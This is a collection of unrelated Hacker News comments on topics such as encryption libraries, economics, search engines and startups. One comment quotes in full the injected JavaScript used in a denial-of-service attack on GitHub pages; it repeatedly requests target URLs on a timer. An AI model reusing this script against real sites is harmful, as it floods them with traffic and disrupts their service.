jkeisling/hacker-news-corpus-2007-2022 huggingface dataset:
Since this story is starting to make an international splash, my prediction is that there will be another, very public, investigation and trial (ordered by "the very top"). Putin or Medvedev will give a speech about importance of fighting corruption. They will convict some front men as scape goats and the real puppet masters will get a slap on the wrist.
Oh nice. Thanks for this. I downloaded the database for my own interest the other month, and after viewing the horrible format I gave up. I am going to check this out!
> If you're not using Sodium/Nacl, don't go out of your way to use Salsa/ChaCha/Poly1305.

Right, sorry if I implied that anyone should roll their own crypto libraries.

Use the standard implementations!

http://doc.libsodium.org/bindings_for_other_languages/README...

For PHP developers: https://github.com/defuse/php-encryption (wrapper for openssl)
I did as an undergrad in the US states doing both undergrad and grad course work in Molecular Biology both lab space and computer lab space..keycards, key licenses to apps using apple's keyserver, etc. Even got an unofficial desk in one of the Faculty member's offices.

It was not just knowing those Professors but we did enough 'free' work that we could easily ask for bribes..either pay us or give us space..in my case I wrote some computer macros/programs to use MS Excel to do stats for certain science areas as they had particular methods and standards they wanted to follow in lab data analysis, etc.
Even when no communication is allowed during the game, some kind of PID control could make the supply chain stable.
> The reason I've kept it is because I use Facebook Messenger to talk to some people, and because a lot of events use Facebook.

Nowadays, "some" people isn't worth Facebook harvesting your data. If you really want to keep in touch with those people, you can find a way.
Then to you, they are too far gone and are already enemies. I only see conflict arising through that perspective.

I have too much to lose for that to happen. I hope you realize the implications of your line of thought, not to just yourself, but to society around you.
Supposedly the Galaxy Nexus has the baseband separate and communicates over a serial connection. An anonymous person passed this info to the Replicant project. I wish there was a way to verify this.
The "REPL via NodeJS" is amazing!!! I want to try ClojureScript on NodeJS for a long time. Now I can play with the REPL.
Don't buy insurance for things that won't ruin you.

The insurer will calculate the risk of whatever happening, and obviously charge more than likelihood * cost.

So unless your risk is higher than average, you're losing money. And keep in mind that the average insurance taker probably has higher risk than the overall population.
> Does the bridge over the meandering creek need to be made a suspension bridge of concrete and steel

The problem being discussed here is more along the line of building the Golden Gate with wood and plaster.
I hadn't heard the term before, but after reading the page you quoted, that sounds like a mischaracterisation of your parent.
So pirating videos and not supporting creators is the solution?

I understand the complaints some folks have but this isn't the solution.
My personal favorite speaker on this topic is Chris Heilmann[0]. He's been in the trenches for a long time and highlights a lot of issues in webdev that are often overlooked, like accessibility, and a common thing: over-engineering.

https://www.youtube.com/results?search_query=christian+heilm...
That a budget hotel offers discounted rooms isn't what's making this newsworthy. It's specifically what you must do to get the discount that piques people's interest. I doubt we would be reading this story on HN if it were about a hotel that offers a substantial discount for changing bedsheets for an hour.
"Billions of digitized thoughts are transferred between humans every hour of every day, more than the neural messages within any of our individual brains." - this one is quite interesting as a kind of objective measurment (density of information exchange?). According to that conceptual framework in which "consciousness is simply a process of information exchange" (I took it from Culadasa's "The Mind Illuminated", but it's probably much wider) one could thnk in terms of "phase", which level of consciousness dominates.
My point is that Google is faster at displaying a page, even if the results are loaded in Javascript after the initial page is displayed.

The results take the same time to appear, but Google feels faster than DDG.
This is correct. You need to carpet bomb your resume everywhere. A large percentage of ads are fake and/or you will be ghosted after applying, so any time spent tailoring your resume to these is wasted. And you don’t know beforehand which ones they are.
A fundamental assumption of mainstream economics is that market prices are approximately correct. This is more for pragmatic reasons than anything; you need some sort of prices to compare unlike things and it's often easy to get some consensus on what the market price is.

If you want to calculate GDP some other way then you will need to decide what millions of prices "should" be and persuade others with your argument. Coming up with an alternative scheme is probably the easy part. Agreeing on a new standard would be much harder.

Consider also that those millions of prices are also changing, often rapidly.

The problem is that, even within mainstream economics, we know market prices aren't correct. Pricing externalities is something pretty much all economists can get behind, and that's just the beginning. Does anyone really believe health care prices are correct? How about all the other subsidies? Asset prices for things like startups are even worse.

In areas where there are no market prices or the market is obviously artificial, price and value become nebulous. Without any objective standards of value, what things are worth becomes a matter of opinion and politics. I am pessimistic on there being consensus on a better way of understanding value any time soon.

More likely we will muddle through with patches to the system we have. Philosophically, even major changes like a carbon tax or universal basic income are basically just patches to get prices somewhere closer to what we think they should be.
You get one free month trial. After that, it’s $30/mo for job seekers. You might stand on the principle that it shouldn’t be necessary, but the price doesn’t seem like a barrier.

(I have no connection to LinkedIn, other than being a free tier member.)
This will not help any competition. Google has its caches and own fibers all over the world. I can go and connect now in any IX and most data centers with Google AS and exchange traffic for free, which makes Google cost of bandwidth to most consumers in developed countries almost non-existent.
Good luck competing with that as a startup. Google is using this infrastructure not only for Youtube. So unless you have billions to invest in your own infrastructure, Google will always have cheaper bandwidth than you.
The fake Chinese eggs were the high point for me
Yes, that's exactly what they do to (some) onlyfans creators.

https://endsexualexploitation.org/onlyfans/
I’ve not used your service because I don’t know anyone who’s on it and I won’t invite anyone to a new social network right away. Too many burnt fingers. So what I am sharing is my social network wish list.

Give a minimum characters/words post and same for photo posts.

Do not show amount of reshares/likes (if at all you allow that; you should not - just let people reply to posts). Definitely add minimum words limits to comments/responses. Let the low effort appreciations or disagreements propagate heart to heart.

Have an idea of a non-searchable ID (I like that from https://slowly.app/ - very similar names as well :)) that one can have - it’s unique and decently readable and completely avoids “reserve the username as a real estate” bullshit of many social networks. You have one to but it isn’t apparent it can be used that way.

And I know it may not sound reasonable or even feasible but I wouldn’t mind some kind of federation. I am slowly tending to hate the walled gardens more and more.

As a general social network it may not take off and if it doesn’t then one wouldn’t want to just post in a circle of 3.5 people (that two and half being people who just opened accounts but are not active).

Once a week seems too less and too limiting. Will the weeks when one didn’t post be accumulated to a max accumulation (and even these can’t be used more than once a day, or once in a two days maybe)?

There’s no way to delete the old posts, or I can’t see one.

Clicking start conversation shares the other person’s email and intimates an email compose. Is that intentional? Or is it pre-alpha build?

Anyway, there was an old submission https://news.ycombinator.com/item?id=25731419. I don’t really remember a lot from it (definitely nothing from the post) but maybe give it a look.
https://endsexualexploitation.org/onlyfans/
I find more meetings empowers you to decline them. The more you decline them the quicker people realize your time is important. People at meetings need to be there to contribute and not be passive unless it’s a one off all hands. If you need status then emails. Don’t waste my time, your time or company’s time.
>Gabriel Weinberg @yegg Apr 17, 2022 · 10:18 AM UTC
Hoping to clear up some misconceptions about our private search engine.
First, there is a completely made up headline going around this weekend.
We are not "purging" any media outlets from results. Anyone can verify this by searching for an outlet and see it come up in results.
Similarly, we are not "purging" YouTube-dl or The Pirate Bay
and they both have actually been continuously available in our results if you search for them by name (which most people do).
Our site: operator (which hardly anyone uses) is having issues which we are looking into.
We are not and have never been owned by Google, and we also don't rely on Google's results for any of our search results.
We have been an independent company since our founding in 2008.
We don't track our users so don't have any search histories and therefore cannot alter results based on search history.
This is different from "unfiltered" because every search engine's job is to filter millions of possible results down to a ranked order of just a handful.
Search ranking and censorship are entirely different things. We make our results useful by ranking spam lower.
We are not ranking based on any political agenda or my (or anyone else's) personal political opinions.
We are also not assessing any individual news stories.
Unlike independent media, Russian state-sponsored media is highly censored and violations are punishable by jail time or worse.
This makes it inherently more spammy relative to independent media. The same is true for all censored media.
Our product vision is much more than private search: it's the "easy button" for privacy in one app.
Today it's an everyday browsing app with built-in private search, tracker blocking, HTTPS upgrading,
button, email protection, and (for Android) app tracking protection.<
Unlike, say, the NY Times they offer direct links to the scientific literature. What was your point again?
Their sources are decent and it tracks with what I've read elsewhere. What's the problem?
So would these longer settlement times, at a lower cost, then necessitate using a centralized escrow service to verify trustworthiness?
So how do you protect against the actions of bad actors - who otherwise then have free reign to do whatever the fuck they want in your "country"/area that you seem to not think you'll need to defend from bad actors?

Or you want a wild west, free-for-all environment? In your own house, do you want to have control of who gets to come in or not? It's that same type of control that is inherently tied to security and safety.
In the early 80's I was a high school student, in Iowa. I disliked my school and the culture in my community. I'm biracial, and being so in Iowa during the 80's was no fun, and insultingly stifling. Nobody seemed to have ambition. Being a gifted student and an early computer geek, my best friend and I created a video game company for Vic-20 games. We managed to get them sold by Sears nationwide. From that experience, I learned about the Apple Macintosh in early development, and that Harvard University was offering a class in pre-release Mac development which also granted one a Mac Beta Tester. My game company was not all that successful, so I closed and used the remaining cash to buy my way into the Harvard University Professional Macintosh Developer's Program. I dropped out of high school in preparation, as high school was just a waste of time. Harvard was a super intense 6-week summer experience, moving to Boston, learning Cambridge, and to my delight I learned that Harvard Night School and Harvard Summer School are open enrollment - anyone can take the classes, and they are taught by the same professors as normal Harvard. I also learned there is a cross college class transfer program between many of the Boston based Universities. So I applied and got into Boston University (a very easy school to get into) but proceeded to take every class I could at Harvard Night and Harvard Summer (I attended summer school to avoid returning to Iowa.) At the end, I got a Boston University degree, but due to my presence in so many Harvard classes, I am sort of a member of the Harvard alumni network, as I maintained several Harvard friendships over the years.
https://maps.apple.com/imagecollection/privacy/uk/en/privacy... has this comment on the historical image collection:

To ensure that Apple was applying the best image blurring technology possible, Apple conducted an entire year of test drives through the US and Europe in 2015, where it did not publish any of the imagery collected during these drives but used it instead to improve Apple’s technology such as image blurring techniques on such objects as faces and license plates.

This might explain some part of the delay between the earliest data collection and publication.
They already do that.

Google has been paying Apple $8-12 billion per year to be the default iOS search engine. In more realistic terms, it's payment for Apple not to create their own search engine.
It also can be a long term cure more severe drug resistant depression. It worked for my wife. They do not do it without your consent.
From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access.

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js">
\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}

function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}

function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
I've been on both sides of this very important scenario that truly does matter for this industry (the failure rate of acquisitions is hardly as well known as start-up failures when the amount of dollars wasted - oftentimes publicly traded - is probably larger on these sunk costs), and the VAST MAJORITY of acquisitions result in the larger company overriding the smaller with basically just existing customers sticking around out of little choice and almost everyone disappearing (Palm and HP, anyone?). Do you think a company of 4 being acquired would be able to as dramatically affect a company of 200 engineers? How about 2000? What if the engineers aren't even in charge of the platforms they're required to use? (It's literally defined by what your customers want, for example, in a hosted software shipping company)

I am not doubting that your scenario happens, but the possibility of changing a team of 100 (likely pretty jaded) engineers while certainly difficult is not necessarily what people think of when we're thinking acqui-hire. In fact, I'm barely entering my second decade as an engineer and I'm starting to think that surviving an acquisition intact and with career advancement somehow is probably far more lucky than hitting a start-up lottery jackpot in the first place.

There's gotta be a sort of trend of engineers that have gotten acquired so many times that their specialty now is to be able to scale / re-focus technology stacks and integrate and operationalize them better for other companies. Start-up companies typically want to see engineers that have a history of building stuff fast, growing rapidly, and the usual stuff that people get glory for as engineers. Established companies really aren't as picky. There's so many companies getting acquired you'd think that there's a niche for transitioning software over by now at least as contracting gigs.
I would love it if they could optimize it for specific use cases, such as removing the advertising on the ice & boards from a televised hockey game.
I was hoping to see at least one breaking bad style coffee maker.
And I thought, I can join whatsapp now. Not a big fan a smart phone so don't have one. Bye Bye whatsapp.
Re: 2-factor auth:

Couldn't the app try to login, detect the 2-factor, and ask you for that in the response?
Very interesting, and good link to the Gruber/Mann talk. I'll have to listen to that.

I find it really hard to find the time to write (even though I really deeply enjoy it), in part because I know that once I get started, I don't stop. But I have a start-up to run, so I can't spend all my energy blogging.

Really, my problem with blogging isn't time-management, it's energy-management. At the moment, my energy is directed towards my start-up rather than towards my writing. I don't really know what the right answer is to this choice.
You could say: a 4channer is someone who is willing to focus time and attention on getting lulz until he excels at it. (See: Time 100 poll.)

Sure, the lulz is a distraction from doing real good, but so was phreaking. It turns out that the skills used in both lulz-getting and phreaking can be used for good as well as evil. (See: Project Chanology, Dusty the cat.)

They're not hackers in the same sense that many of us are. But that wasn't how the term was used in the article, so big deal.
Not only that, PUA tactics often involve just plain making shit up - which makes it a really, really poor tactic if you ever plan on seeing the girl again.

I'm not so hot on OP's tone, but for people looking for relationships it seems a lot more productive than the "lying through your teeth while maintaining a veneer of confidence" that so much of the PUA community relies upon.

There have been numerous posts about dating on HN (and reddit) over the past few days. I think all of it can be summed up as: "care, but don't care too much". All of the advice on OP's post can really be broken down to that axiom.
But surely both the location of the "zero" hue and the directionality of where it goes from there are both arbitrary? I didn't know red was 00 until you mentioned it.
> I mean, he's basically arguing that CS hasn't revisited heaps since 1961...But that's of course not the case.

Then kindly link me to the paper which describes his B-heaps; I'd love to read it.
Buying drinks is actually a BAD idea.

This hypothesis was tested by Feynman (Surely You're Joking ...), naturally with success. I think I'd feel a little weird trying to psychologically hack my love life (if I had a love life). Also, the mathematical approach doesn't work:

Let x denote beauty, -- y, manners well-bred, --
"z, Fortune, -- (this last is essential), --
"Let L stand for love" -- our philosopher said, --
"Then L is a function of x, y, and z,
"Of the kind which is known as potential."

"Now integrate L with respect to dt,
"(t standing for time and persuasion);
"Then, between proper limits, 'tis easy to see,
"The definite integral Marriage must be: --
"(A very concise demonstration)."

Said he -- "If the wandering course of the moon
"By Algebra can be predicted,
"The female affections must yield to it soon" --
-- But the lady ran off with a dashing dragoon,
And left him amazed and afflicted.

--from "The Mathematician in Love"
When you say "they would dig into their network" do you mean that first, the VCs recommend that you hire the executive, and then the executive hires his impressive contact -- the one who is supposed to make magic?

What do you suppose is going on here? Is the executive just trying to build his empire from the start? Or, are these executives circulating around in a system of favors, going from failure to failure? Do you think it's naivete, stupidity, or cynicism on the part of VCs to hire these guys?
They've never asked me to create a separate account, only turn over the main account. I still don't trust anyone with my user account, and so made one name AppleSupport, and enabled FileVault on my user.

One would think that for a company so concerned with internal privacy they would care a little more for their users...
He's been an advocate of building stuff over being a language snob.

I remember reading in his book teaching programming to beginners that the important thing is to build stuff, not to nerd out about language features.
In the older days some of these disks had a discrete rom for this, but recently they have been integrated into a larger chip. It seems that if you have the rework skills, you can transfer the chip with integrated memory to the new board. It's certainly gross when the spindle motor driver on one of these boards explodes.

However if you take the lid off a WD drive, the head arm pivot goes out of alignment, since it is secured in place by one of the lid screws. So, if you have to swap internal parts for data recovery, you should own or make a jig to hold the top of the pivot and make fine adjustments, or you will never be successful. Depending on your skills, this may present more difficulty than reworking a board for a swap.

Luckily I have never had to try a DIY data recovery.
Yes, you probably have a bunch at home in various knick-knacks. Plastic gears are usually nylon, for example.
Hey 0x74696d - Snowplow co-founder here. Very cool post! The Snowplow Kinesis architecture gives you "fan-out" for free - you could write your bookmarking service as a Kinesis KCL app which reads from the Kinesis enriched event stream written by our Kinesis Enrich (https://github.com/snowplow/snowplow/tree/master/3-enrich/sc...). In this case you'd be using our Scala Stream Collector (Spray with a Kinesis back-end), not the CloudFront CDN Collector.
This just made me think, if the maintainer is just part of a process - maybe compilers should be more polite, too.

"Syntax error at line 57" sounds very harsh. Why can't the compiler say "dear developer, it shames me to point it out but you might have slipped in a typo on line 57. Your continued effort in straightening it out would be much appreciated" I would be much more motivated to continue debugging.

What I am getting at, maybe the maintainer sees his role more technical than social. He considers his job to maintain the code base, not the user base. I actually think that's OK, and submitters shouldn't take a brief response personal.